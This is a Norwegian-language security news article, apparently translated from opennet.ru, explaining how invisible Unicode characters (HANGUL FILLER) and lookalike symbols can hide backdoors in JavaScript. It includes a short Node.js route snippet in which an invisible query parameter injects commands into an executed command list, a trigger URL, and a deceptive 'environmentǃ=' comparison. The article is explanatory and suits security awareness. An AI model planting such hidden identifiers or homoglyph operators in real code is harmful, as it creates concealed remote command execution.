Bruke usynlige unicode-tegn for å skjule handlinger i JavaScript-kode

Etter angrepsmetoden fra Trojan Source basert på bruk av Unicode-tegn som endrer visningsrekkefølgen for toveis tekst, har en annen teknikk for å introdusere skjulte handlinger blitt publisert, som gjelder JavaScript-kode. Den nye metoden er basert på bruk av unicode-tegnet "ㅤ" (kode 0x3164, "HANGUL FILLER"), som er en bokstav, men ikke har noe synlig innhold. Unicode-kategorien som dette tegnet tilhører har vært tillatt siden ECMAScript 2015-spesifikasjonen for bruk i JavaScript-variabelnavn, som gjør det mulig å lage usynlige variabler eller nye variabler som ikke kan skilles fra andre variabler i populære koderedigerere som Notepad++ og VS Code.

Som et eksempel er koden for Node.js-plattformen gitt, der, ved å bruke en variabel som består av et enkelt tegn "ㅤ", er en bakdør skjult som lar deg utføre koden spesifisert av angriperen: app.get( '/network_health', async (req, res) = > { const { timeout,ㅤ} = req.query; // sier faktisk "const { timeout,ㅤ \u3164}" const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // komma etterfulgt av \u3164 ];

Ved første øyekast sendes bare timeout-verdien gjennom den eksterne parameteren, og matrisen med kommandoene som skal utføres inneholder en ufarlig fast liste. Men faktisk, etter timeout-variabelen, tildeles verdien til en annen usynlig variabel med symbolkoden \u3164, som også erstattes med utvalget av kjørbare kommandoer. Derfor, i nærvær av en slik struktur, kan en angriper sende en forespørsel som "https://host:8080/network_health?%E3%85%A4=command" for å aktivere bakdøren og utføre koden hans.

Som et annet eksempel er tegnet "ǃ" (ALVEOLAR KLIKK) gitt, som kan brukes til å gi utseendet til å indikere et utropstegn. For eksempel vil uttrykket "if(environmentǃ=ENV_PROD){" når det kjøres i Node.js 14 alltid være sant, fordi det ikke sjekker for forskjeller, men setter variabelen "environmentǃ" til ENV_PROD. Villedende unicode-tegn inkluderer "/", "−", "+", "⩵", "❨", "⫽", "꓿" og "∗".

Kilde: opennet.ru

Legg til en kommentar